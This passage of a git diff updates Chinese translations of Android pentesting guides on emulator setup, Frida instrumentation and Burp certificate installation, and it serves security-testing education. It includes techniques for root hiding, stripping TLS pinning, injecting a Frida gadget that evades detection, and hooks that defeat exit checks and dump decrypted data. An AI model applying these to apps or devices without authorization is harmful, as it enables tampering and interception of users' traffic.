instrumentation,但仍可能被更严格的 init‑time checks 捕获。 -Optionally, add LSPosed modules and Shamiko for stronger root hiding in Zygisk environments, and curate DenyList to cover child processes. +可选:在 Zygisk 环境中添加 LSPosed 模块和 Shamiko 以增强 root 隐藏,并维护 DenyList 以覆盖 child processes。 -References: +参考: - Objection: https://github.com/sensepost/objection -## Step 8 — 后备:修补 TLS pinning 以实现网络可见性 +## 第 8 步 — 备用:修补 TLS pinning 以实现网络可见性 如果 instrumentation 被阻止,你仍然可以通过静态移除 pinning 来检查流量: ```bash @@ -223,7 +223,7 @@ apk-mitm app.apk # Then install the patched APK and proxy via Burp/mitmproxy ``` - 工具: https://github.com/shroudedcode/apk-mitm -- 有关网络配置 CA‑trust 技巧(以及 Android 7+ 用户 CA trust),请参见: +- 有关网络配置 CA‑trust 技巧(以及 Android 7+ user CA trust),请参见: {{#ref}} make-apk-accept-ca-certificate.md @@ -253,12 +253,12 @@ apk-mitm app.apk ``` ## 提示与注意事项 -- 当应用在启动时崩溃时,优先延后 attach 而不是 spawn -- 某些检测会在关键流程(例如 payment、auth)中重新触发 — 在导航过程中保持 hooks 激活 -- 结合静态与动态:在 Jadx 中进行 string hunt 以筛选类;然后 hook 方法以在 runtime 验证 -- 被 Hardened 的应用可能使用 packers 和 native TLS pinning — 预计需要 reverse native code +- 当应用在启动时崩溃时,优先延后 attaching 而不是 spawning +- 一些检测会在关键流程中重新运行(例如 payment、auth)— 在导航期间保持 hooks 活动 +- 结合静态与动态:在 Jadx 中进行 string hunt 以筛选类;然后 hook methods 在 runtime 验证 +- 被加固的应用可能使用 packers 和 native TLS pinning — 预计需要 reverse native code -## References +## 参考资料 - [Reversing Android Apps: Bypassing Detection Like a Pro](https://www.kayssel.com/newsletter/issue-12/) - [Frida Codeshare](https://codeshare.frida.re/) diff --git a/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md b/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md index 8499eb30e..21dfaf9a3 100644 --- a/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md +++ b/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md @@ -1,34 +1,34 @@ -# AVD - Android Virtual Device +# AVD - Android 虚拟设备 {{#include ../../banners/hacktricks-training.md}} -非常感谢 [**@offsecjay**](https://twitter.com/offsecjay) 在创建本内容时提供的帮助。 +非常感谢 [**@offsecjay**](https://twitter.com/offsecjay) 在创建这些内容时提供的帮助。 ## 什么是 -Android Studio 允许你**运行 Android 的虚拟机以测试 APKs**。要使用它们,你需要: +Android Studio 允许你**运行 Android 虚拟机以测试 APKs**。要使用它们,你需要: -- The **Android SDK tools** - [Download here](https://developer.android.com/studio/releases/sdk-tools). -- Or **Android Studio** (with Android SDK tools) - [Download here](https://developer.android.com/studio). +- 安装 **Android SDK tools** - [Download here](https://developer.android.com/studio/releases/sdk-tools). +- 或者 **Android Studio**(包含 Android SDK tools) - [Download here](https://developer.android.com/studio). -在 Windows(以我为例)**在安装 Android Studio 之后**,我的 **SDK Tools 安装在**:`C:\Users\\AppData\Local\Android\Sdk\tools` +在 Windows(以我为例)**安装 Android Studio 后**,我的 **SDK Tools 安装在**: `C:\Users\\AppData\Local\Android\Sdk\tools` -在 mac 上你可以 **download the SDK tools** 并通过运行以下命令将它们加入 PATH: +在 mac 上,你可以**下载 SDK tools**并通过运行以下命令将其加入 PATH: ```bash brew tap homebrew/cask brew install --cask android-sdk ``` -或者从 **Android Studio GUI** 按照 [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) 所述安装,这会把它们安装到 `~/Library/Android/sdk/cmdline-tools/latest/bin/`、`~/Library/Android/sdk/platform-tools/` 和 `~/Library/Android/sdk/emulator/` +或者通过 **Android Studio GUI** 如在 [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) 所示,这会将它们安装到 `~/Library/Android/sdk/cmdline-tools/latest/bin/`、`~/Library/Android/sdk/platform-tools/` 和 `~/Library/Android/sdk/emulator/` 对于 Java 问题: ```java export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home ``` -## 图形界面 (GUI) +## GUI -### 准备虚拟机 +### Prepare Virtual Machine -如果你安装了 Android Studio,你可以打开主项目视图并访问:_**Tools**_ --> _**AVD Manager.**_ +如果你已安装 Android Studio,你可以打开主项目视图并访问:_**Tools**_ --> _**AVD Manager.**_
@@ -36,38 +36,38 @@ export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home
-然后,点击 _**Create Virtual Device**_ +Then, click on _**Create Virtual Device**_
-_**选择** 要使用的手机_ 并点击 _**Next.**_ +_**选择** 你想使用的手机_ 并点击 _**Next.**_ > [!WARNING] -> 如果你需要带有 Play Store 的手机,请选择带有 Play Store 图标的机型! +> 如果你需要安装了 Play Store 的手机,请选择带有 Play Store 图标的设备! > > -在当前视图中,你可以**选择并下载手机将运行的 Android 镜像**: +在当前视图中,你可以**选择并下载手机将要运行的 Android 镜像**:
-所以,选择它;如果还没下载,请点击名称旁的 _**Download**_ 图标(**现在等待镜像下载完成**)。\ -镜像下载完成后,选择 **`Next`** 然后 **`Finish`**。 +因此,选择它;如果它尚未下载,点击名称旁的 _**Download**_ 图标(**现在等到镜像下载完成**)。\ +一旦镜像下载完成,选择 **`Next`** 和 **`Finish`.** -虚拟机将被创建。现在 **每次访问 AVD manager 时它都会出现**。 +虚拟机将被创建。现在 **每次你访问 AVD manager 时它都会存在**。 -### 运行虚拟机 +### Run Virtual Machine 要**运行**它,只需按下 _**Start button**_。 ![](<../../images/image (518).png>) -## 命令行工具 +## Command Line tool > [!WARNING] -> 在 macOS 上,如果已安装,你可以在 `/Users//Library/Android/sdk/tools/bin/avdmanager` 找到 `avdmanager` 工具,在 `/Users//Library/Android/sdk/emulator/emulator` 找到 `emulator`。 +> 对于 macOS,你可以在 `/Users//Library/Android/sdk/tools/bin/avdmanager` 找到 `avdmanager` 工具,在 `/Users//Library/Android/sdk/emulator/emulator` 找到 `emulator`,如果你已安装它们。 -首先你需要**决定你要使用哪个手机**,要查看可用手机列表,执行: +首先你需要**决定你想使用哪部手机**,要查看可用手机列表,请执行: ``` C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list device @@ -95,16 +95,16 @@ Name: Nexus 10 OEM : Google [...] ``` -一旦你决定了要使用的设备名称,你需要 **决定要在该设备上运行哪个 Android 镜像。**\ +一旦你确定了要使用的设备名称,你需要**决定在该设备上运行哪个 Android 镜像。**\ 你可以使用 `sdkmanager` 列出所有选项: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list ``` -然后用下面的命令**下载**你想使用的那个(或全部): +然后使用下面的命令**下载**你想使用的一个(或全部): ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platforms;android-28" "system-images;android-28;google_apis;x86_64" ``` -一旦你下载了想要使用的 Android 镜像,你可以使用以下命令 **列出所有已下载的 Android 镜像**: +一旦你下载了想要使用的 Android 镜像,你可以使用以下命令**列出所有已下载的 Android 镜像**: ``` C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list target ---------- @@ -120,12 +120,12 @@ Type: Platform API level: 29 Revision: 4 ``` -此时你已经确定了要使用的设备并下载了 Android 镜像,所以 **你可以使用以下方法创建虚拟机**: +此刻你已确定要使用的设备并已下载 Android 镜像,因此 **你可以使用以下方式创建虚拟机**: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X" ``` -在上一个命令中 **我创建了一个名为** "_AVD9_" 的 VM,使用 **设备** "_Nexus 5X_" 和 **Android 镜像** "_system-images;android-28;google_apis;x86_64_"。\ -现在你可以使用下面的命令 **列出你已创建的虚拟机**: +在上一个命令中,**我创建了一个名为** "_AVD9_" 的 VM,使用了 **设备** "_Nexus 5X_" 和 **Android 映像** "_system-images;android-28;google_apis;x86_64_"。\ +现在你可以使用以下命令 **列出你已创建的虚拟机**: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd @@ -143,52 +143,52 @@ Error: Google pixel_2 no longer exists as a device ### 运行虚拟机 > [!WARNING] -> 对于 macOS,如果已安装,你可以在 `/Users//Library/Android/sdk/tools/bin/avdmanager` 找到 `avdmanager` 工具,在 `/Users//Library/Android/sdk/emulator/emulator` 找到 `emulator`。 +> 在 macOS 上,如果已安装,你可以在 `/Users//Library/Android/sdk/tools/bin/avdmanager` 找到 `avdmanager` 工具,并在 `/Users//Library/Android/sdk/emulator/emulator` 找到 `emulator`。 -我们已经看到如何列出已创建的虚拟机,但**你也可以使用以下方式列出它们**: +我们已经看到如何列出已创建的虚拟机,但 **你也可以使用以下命令列出它们**: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -list-avds AVD9 Pixel_2_API_27 ``` -您可以简单地使用以下命令 **运行任何已创建的虚拟机**: +你可以简单地使用以下命令**运行任何已创建的虚拟机**: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "VirtualMachineName" C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" ``` -或者使用更高级的选项,你可以运行类似这样的虚拟机: +或者使用更高级的选项,你可以运行一个虚拟机,例如: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system ``` ### 命令行选项 -不过有 **许多不同的有用命令行选项** 可用于启动虚拟机。下面列出一些有意思的选项,但可以 [**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline) +不过有很多不同的有用命令行选项可以用来启动虚拟机。下面列出一些有趣的选项,但可以在[**在这里查看完整列表**](https://developer.android.com/studio/run/emulator-commandline) **Boot** -- `-snapshot name` : Start VM snapshot +- `-snapshot name` : 启动 VM 快照 - `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : 列出记录的所有快照 **Network** -- `-dns-server 192.0.2.0, 192.0.2.255` : 允许为 VM 指定以逗号分隔的 DNS 服务器。 -- **`-http-proxy 192.168.1.12:8080`** : 允许指定要使用的 HTTP 代理(在使用 Burp 捕获流量时非常有用) -- If the proxy settings aren't working for some reason, try to configure them internally or using an pplication like "Super Proxy" or "ProxyDroid". -- `-netdelay 200` : 以毫秒为单位设置网络延迟仿真。 +- `-dns-server 192.0.2.0, 192.0.2.255` : 允许以逗号分隔的方式为 VM 指定 DNS 服务器。 +- **`-http-proxy 192.168.1.12:8080`** : 允许指定要使用的 HTTP 代理(对使用 Burp 捕获流量非常有用) +- 如果代理设置因某种原因无法生效,尝试在系统内配置它们或使用像 "Super Proxy" 或 "ProxyDroid" 这样的应用。 +- `-netdelay 200` : 设置网络延迟仿真(以毫秒为单位)。 - `-port 5556` : 设置用于控制台和 adb 的 TCP 端口号。 - `-ports 5556,5559` : 设置用于控制台和 adb 的 TCP 端口。 - **`-tcpdump /path/dumpfile.cap`** : 将所有流量捕获到文件中 **System** -- `-selinux {disabled|permissive}` : 将 Security-Enhanced Linux 安全模块设置为 disabled 或 permissive 模式(在 Linux 操作系统上)。 +- `-selinux {disabled|permissive}` : 将 Security-Enhanced Linux 安全模块设置为 disabled 或 permissive 模式(适用于 Linux 操作系统)。 - `-timezone Europe/Paris` : 为虚拟设备设置时区 - `-screen {touch(default)|multi-touch|o-touch}` : 设置模拟触摸屏模式。 -- **`-writable-system`** : 使用此选项可在仿真会话期间使系统镜像可写。你还需要运行 `adb root; adb remount`。这对于在系统中安装新的证书非常有用。 +- **`-writable-system`** : 使用此选项可在仿真会话期间使 system 镜像可写。你还需要运行 `adb root; adb remount`。这对于在系统中安装新证书非常有用。 ## Linux CLI setup (SDK/AVD quickstart) -官方 CLI 工具让在不使用 Android Studio 的情况下轻松创建快速且可调试的模拟器。 +官方 CLI 工具使得无需 Android Studio 也能轻松创建快速且可调试的模拟器。 ```bash # Directory layout mkdir -p ~/Android/cmdline-tools/latest @@ -216,10 +216,10 @@ emulator -avd PixelRootX86 -writable-system -snapshot PixelRootX86_snap adb root adb shell whoami # expect: root ``` -备注 -- 系统镜像类型: google_apis (可调试,允许 adb root), google_apis_playstore (不可 root), aosp/default (轻量级). -- 构建类型: userdebug 通常允许在支持调试的镜像上运行 `adb root`。Play Store images 属于生产构建,会阻止 root。 -- 在 x86_64 主机上,从 API 28+ 起不支持全系统 ARM64 模拟。对于 Android 11+,使用包含 per-app ARM-to-x86 translation 的 Google APIs/Play images 来快速运行许多仅限 ARM 的应用。 +注意事项 +- 系统镜像类型:google_apis(可调试,允许 adb root),google_apis_playstore(不可 root),aosp/default(轻量)。 +- 构建类型:userdebug 通常允许在支持调试的镜像上使用 `adb root`。Play Store 镜像是生产构建并阻止 root。 +- 在 x86_64 主机上,从 API 28+ 起不支持整系统 ARM64 仿真。对于 Android 11+,使用包含每应用 ARM-to-x86 翻译的 Google APIs/Play 镜像,以快速运行许多仅 ARM 的应用。 ### 来自 CLI 的快照 ```bash @@ -231,37 +231,37 @@ emulator -avd PixelRootX86 -writable-system -snapshot my_clean_setup ``` ## ARM→x86 二进制翻译 (Android 11+) -在 Android 11+ 上,Google APIs 和 Play Store 镜像可以按进程翻译 ARM 应用的二进制文件,同时保持系统其余部分为原生 x86/x86_64。这通常足够快,可以在桌面上测试许多仅支持 ARM 的应用。 +Google APIs 和 Play Store 镜像在 Android 11+ 上可以按进程翻译 ARM 应用二进制,同时保持系统其余部分为原生 x86/x86_64。这通常足够快,可在桌面上测试许多仅支持 ARM 的应用。 -> Tip: 在 pentests 期间优先使用 Google APIs x86/x86_64 镜像。Play images 使用起来方便,但会阻止 `adb root`;只有在你确实需要 Play services 并接受无法获得 root 的情况下才使用它们。 +> 提示:在 pentests 期间优先使用 Google APIs x86/x86_64 镜像。Play 镜像使用方便但会阻止 `adb root`;只有在你确实需要 Play services 并接受无法获得 root 的情况下才使用它们。 -## Rooting a Play Store device +## 在 Play Store 设备上获取 root -如果你下载了带有 Play Store 的设备,你将无法直接获得 root,并且会看到如下错误信息 +如果你下载的是带有 Play Store 的设备,你将无法直接获得 root,并且会收到如下错误信息 ``` $ adb root adbd cannot run as root in production builds ``` -Using [rootAVD](https://github.com/newbit1/rootAVD) with [Magisk](https://github.com/topjohnwu/Magisk) 我能够对其进行 root(例如参见 [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **或** [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8))。 +使用 [rootAVD](https://github.com/newbit1/rootAVD) 和 [Magisk](https://github.com/topjohnwu/Magisk),我成功将其 root(例如参照 [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **or** [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8))。 -## 安装 Burp 证书 +## Install Burp Certificate -请查看以下页面以了解如何安装自定义 CA 证书: +Check the following page to learn how to install a custom CA cert: {{#ref}} install-burp-certificate.md {{#endref}} -## 实用的 AVD 选项 +## Nice AVD Options -### 创建快照 +### Take a Snapshot -你可以**使用 GUI**随时对 VM 创建快照: +You can **use the GUI** to take a snapshot of the VM at any time: ![](<../../images/image (234).png>) -## 参考资料 +## References - [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools) - [Android Emulator command line](https://developer.android.com/studio/run/emulator-commandline) diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md index d73c852dd..c43fa7fbc 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md @@ -10,22 +10,22 @@ pip install frida-tools pip install frida ``` -**下载并安装** 在 android 上 **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\ -用于重启 adb 到 root 模式、连接到设备、上传 frida-server、赋予 exec 权限并在后台运行的一行命令: +**在 Android 设备上下载并安装** **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\ +一行命令用于以 root 模式重启 adb、连接设备、上传 frida-server、赋予可执行权限并在后台运行: ```bash adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &" ``` -**检查** 它是否 **正常工作**: +**检查** 是否 **正常工作**: ```bash frida-ps -U #List packages and processes frida-ps -U | grep -i #Get all the package name ``` -## Frida server 与 Gadget (root vs. no-root) +## Frida server vs. Gadget (root vs. no-root) -使用 Frida 对 Android 应用进行插装的两种常见方法: +使用 Frida 对 Android 应用进行插装的两种常见方式: -- Frida server (rooted devices): 将一个本地守护进程推送并运行,使你可以附加到任意进程。 -- Frida Gadget (no root): 将 Frida 作为共享库捆绑到 APK 内,并在目标进程中自动加载它。 +- Frida server (rooted devices): 将一个本地守护进程推送并运行,以便可以附加到任意进程。 +- Frida Gadget (no root): 将 Frida 作为共享库打包进 APK,并在目标进程中自动加载。 Frida server (rooted) ```bash @@ -43,8 +43,8 @@ frida -U -n com.example.app Frida Gadget (no-root) 1) 解包 APK,添加 gadget .so 和配置: -- 将 libfrida-gadget.so 放入 lib//(例如 lib/arm64-v8a/) -- 创建 assets/frida-gadget.config,包含你用于加载脚本的设置 +- 将 libfrida-gadget.so 放到 lib// (例如,lib/arm64-v8a/) +- 在 assets/frida-gadget.config 中创建你的脚本加载设置 示例 frida-gadget.config ```json @@ -53,8 +53,8 @@ Frida Gadget (no-root) "runtime": { "logFile": "/sdcard/frida-gadget.log" } } ``` -2) 引用/加载 gadget 以便它尽早被初始化: -- 最简单:在 Application.onCreate() 中添加一个小的 Java stub,调用 System.loadLibrary("frida-gadget"),或者使用已存在的 native lib loading。 +2) 引用/加载 gadget 以便尽早初始化: +- 最简单的方法:在 Application.onCreate() 中添加一个小的 Java stub,调用 System.loadLibrary("frida-gadget"),或者使用已有的 native lib loading。 3) 重新打包并签名 APK,然后安装: ```bash @@ -64,40 +64,40 @@ apktool b app_m -o app_gadget.apk uber-apk-signer -a app_gadget.apk -o out_signed adb install -r out_signed/app_gadget-aligned-debugSigned.apk ``` -4) 从主机附加到 gadget 进程: +4) 从主机附加到 gadget 进程: ```bash frida-ps -Uai frida -U -n com.example.app ``` 注意 -- Gadget 会被某些防护检测到;如有必要,请保持 名称/路径 隐蔽,并在加载时延后或按条件加载。 -- 对于加固的 apps,优先使用 rooted testing with server + late attach,或与 Magisk/Zygisk hiding 结合使用。 +- Gadget 会被某些保护检测到;如有需要,请保持名称/路径隐蔽,并在较晚或有条件时再加载。 +- 对于加固的应用,优先使用 root 测试并结合 server + late attach,或与 Magisk/Zygisk 隐藏结合使用。 ## 教程 ### [Tutorial 1](frida-tutorial-1.md) -**From**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\ +**来源**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\ **APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\ -**Source Code**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo) +**源码**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo) -**参见 [link to read it](frida-tutorial-1.md).** +**Follow the [link to read it](frida-tutorial-1.md).** ### [Tutorial 2](frida-tutorial-2.md) -**From**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\ -**APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) +**来源**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\ +**APKs 和 源码**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) -**参见[ link to read it.](frida-tutorial-2.md)** +**Follow the[ link to read it.](frida-tutorial-2.md)** ### [Tutorial 3](owaspuncrackable-1.md) -**From**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\ +**来源**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\ **APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk) -**参见 [link to read it](owaspuncrackable-1.md).** +**Follow the [link to read it](owaspuncrackable-1.md).** -**You can find more Awesome Frida scripts here:** [**https://codeshare.frida.re/**](https://codeshare.frida.re) +**你可以在这里找到更多 Awesome Frida 脚本:** [**https://codeshare.frida.re/**](https://codeshare.frida.re) ## 快速示例 @@ -125,7 +125,7 @@ print('[ * ] Running Frida Demo application') script.load() sys.stdin.read() ``` -### Hooking 无参数函数 +### Hooking functions without parameters Hook 类 `sg.vantagepoint.a.c` 的函数 `a()` ```javascript @@ -137,14 +137,14 @@ return false; }; }); ``` -拦截 java `exit()` +Hook java `exit()` ```javascript var sysexit = Java.use("java.lang.System") sysexit.exit.overload("int").implementation = function (var_0) { send("java.lang.System.exit(I)V // We avoid exiting the application :)") } ``` -Hook MainActivity `.onStart()` & `.onCreate()` +Hook MainActivity `.onStart()` 和 `.onCreate()` ```javascript var mainactivity = Java.use("sg.vantagepoint.uncrackable1.MainActivity") mainactivity.onStart.overload().implementation = function () { @@ -158,7 +158,7 @@ send("MainActivity.onCreate() HIT!!!") var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0) } ``` -Hook android 的 `.onCreate()` +Hook android `.onCreate()` ```javascript var activity = Java.use("android.app.Activity") activity.onCreate.overload("android.os.Bundle").implementation = function ( @@ -168,9 +168,9 @@ send("Activity HIT!!!") var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0) } ``` -### Hooking 带参数的函数并获取返回值 +### 对带参数的函数进行 Hook 并获取返回值 -Hooking a decryption function。打印输入,调用原始函数 decrypt 输入,并最后打印明文数据: +对一个解密函数进行 Hook。打印输入,调用原始函数对输入进行 decrypt,最后打印明文数据: ```javascript function getString(data) { var ret = "" @@ -195,9 +195,9 @@ send("Decrypted flag: " + flag) return ret //[B } ``` -### Hooking 函数并使用我们的输入调用它们 +### Hooking 函数并用我们的输入调用它们 -Hook 一个接收 string 的函数,并用另一个 string 调用它(来自 [here](https://11x256.github.io/Frida-hooking-android-part-2/)) +钩取一个接收 string 的函数,并用另一个 string 调用它 (来自 [here](https://11x256.github.io/Frida-hooking-android-part-2/)) ```javascript var string_class = Java.use("java.lang.String") // get a JS wrapper for java's String class @@ -210,11 +210,11 @@ console.log("Return value: " + ret) return ret } ``` -### 获取已创建的类对象 +### 获取已创建类的对象 -如果你想提取已创建对象的某个属性,可以使用下面的方法。 +如果想提取已创建对象的某个属性,可以使用下面的方法。 -在这个示例中,你将看到如何获取类 my_activity 的对象以及如何调用函数 .secret() 来打印该对象的私有属性: +在这个示例中,你将看到如何获取类 my_activity 的对象以及如何调用函数 .secret(),该函数将打印该对象的私有属性: ```javascript Java.choose("com.example.a11x256.frida_test.my_activity", { onMatch: function (instance) { @@ -228,13 +228,13 @@ onComplete: function () {}, ## 其他 Frida 教程 - [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs) -- [高级 Frida 用法 博客系列 第1部分:IOS 加密库](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/) +- [高级 Frida 用法 博客系列 第1部分:iOS 加密库](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/) ## 参考资料 -- [构建可复现的 Android Bug Bounty 实验室:Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools) +- [构建可复现的 Android 漏洞赏金 实验室:模拟器 vs Magisk、Burp、Frida 和 Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools) - [Frida Gadget 文档](https://frida.re/docs/gadget/) -- [Frida 发布(服务器二进制)](https://github.com/frida/frida/releases) +- [Frida releases (服务器二进制)](https://github.com/frida/frida/releases) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md index 584c2ff7b..79cc1a4dc 100644 --- a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md +++ b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md @@ -3,9 +3,9 @@ {{#include ../../banners/hacktricks-training.md}} -## 通过 ADB 配置系统级代理 +## 通过 ADB 设置系统范围代理 -配置一个全局 HTTP 代理,使所有应用的流量通过你的拦截器 (Burp/mitmproxy) 路由: +配置全局 HTTP 代理,使所有应用的流量都通过你的拦截器(Burp/mitmproxy): ```bash # Set proxy (device/emulator must reach your host IP) adb shell settings put global http_proxy 192.168.1.2:8080 @@ -13,7 +13,7 @@ adb shell settings put global http_proxy 192.168.1.2:8080 # Clear proxy adb shell settings put global http_proxy :0 ``` -Tip:在 Burp 中,将监听器绑定到 0.0.0.0,这样 LAN 中的设备就可以连接(Proxy -> Options -> Proxy Listeners)。 +提示:在 Burp 中,将监听器绑定到 0.0.0.0,这样局域网设备就可以连接(Proxy -> Options -> Proxy Listeners)。 ## 在虚拟机上 @@ -21,12 +21,12 @@ Tip:在 Burp 中,将监听器绑定到 0.0.0.0,这样 LAN 中的设备就 ![](<../../images/image (367).png>) -**以 Der 格式导出证书**,然后把它**转换**为 **Android** 能够**识别**的格式。注意,**要在 AVD 中的 Android 机器上配置 Burp 证书**,你需要**使用** **`-writable-system`** 选项**运行**该机器。\ -例如你可以运行它像: +**将证书以 Der 格式导出**,然后把它**转换**为 **Android** 能够**识别**的格式。注意,**要在 AVD 中的 Android 机器上配置 Burp 证书**,需要以 **`-writable-system`** 选项**运行**该虚拟机。\ +例如你可以这样运行: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system ``` -然后,要 **配置 burps certificate**: +然后,要 **配置 burps 证书**: ```bash openssl x509 -inform DER -in burp_cacert.der -out burp_cacert.pem CERTHASHNAME="`openssl x509 -inform PEM -subject_hash_old -in burp_cacert.pem | head -1`.0" @@ -37,15 +37,15 @@ adb shell mv /sdcard/$CERTHASHNAME /system/etc/security/cacerts/ #Move to correc adb shell chmod 644 /system/etc/security/cacerts/$CERTHASHNAME #Assign privileges adb reboot #Now, reboot the machine ``` -一旦 **机器完成重启**,Burp 证书就会被其使用! +一旦机器完成重启,Burp 证书将被其使用! -## 使用 Magisc +## Using Magisc -If you **rooted your device with Magisc**(可能是模拟器),并且你 **无法按照** 之前的 **步骤** 安装 Burp 证书,因为 **文件系统为只读** 且无法重新挂载为可写,还有另一种方法。 +如果你使用 Magisc 对设备进行了 root(可能是模拟器),并且因为文件系统为只读且无法重新挂载为可写而**无法按照之前的步骤安装 Burp 证书**,还有另一种方法。 -在 [**这个视频**](https://www.youtube.com/watch?v=qQicUW0svB8) 中讲解,你需要: +在[**this video**](https://www.youtube.com/watch?v=qQicUW0svB8)中解释了,你需要: -1. **Install a CA certificate**: 只需将 DER 格式的 Burp 证书拖放(将扩展名改为 `.crt`)到手机,使其存储在 Downloads 文件夹中,然后进入 `Install a certificate` -> `CA certificate` +1. **Install a CA certificate**: 只需将 DER 格式的 Burp 证书拖放到手机上,并将扩展名改为 `.crt`,使其保存在 Downloads 文件夹,然后进入 `Install a certificate` -> `CA certificate`
@@ -53,27 +53,27 @@ If you **rooted your device with Magisc**(可能是模拟器),并且你 **
-2. **Make it System trusted**: 下载 Magisc 模块 [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts)(一个 .zip 文件),将其拖放到手机,打开手机上的 Magics app,进入 **`Modules`** 部分,点击 **`Install from storage`**,选择该 `.zip` 模块,安装完成后 **重启** 手机: +2. **Make it System trusted**: 下载 Magisc 模块 [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts)(一个 .zip 文件),将其拖放到手机,在手机上的 Magics 应用中进入 `Modules` 部分,点击 `Install from storage`,选择该 `.zip` 模块并在安装完成后重启手机:
-- 重启后,进入 `Trusted credentials` -> `SYSTEM` 并检查 Postswigger cert 是否存在 +- 重启后,进入 `Trusted credentials` -> `SYSTEM` 检查 Postswigger 证书是否存在
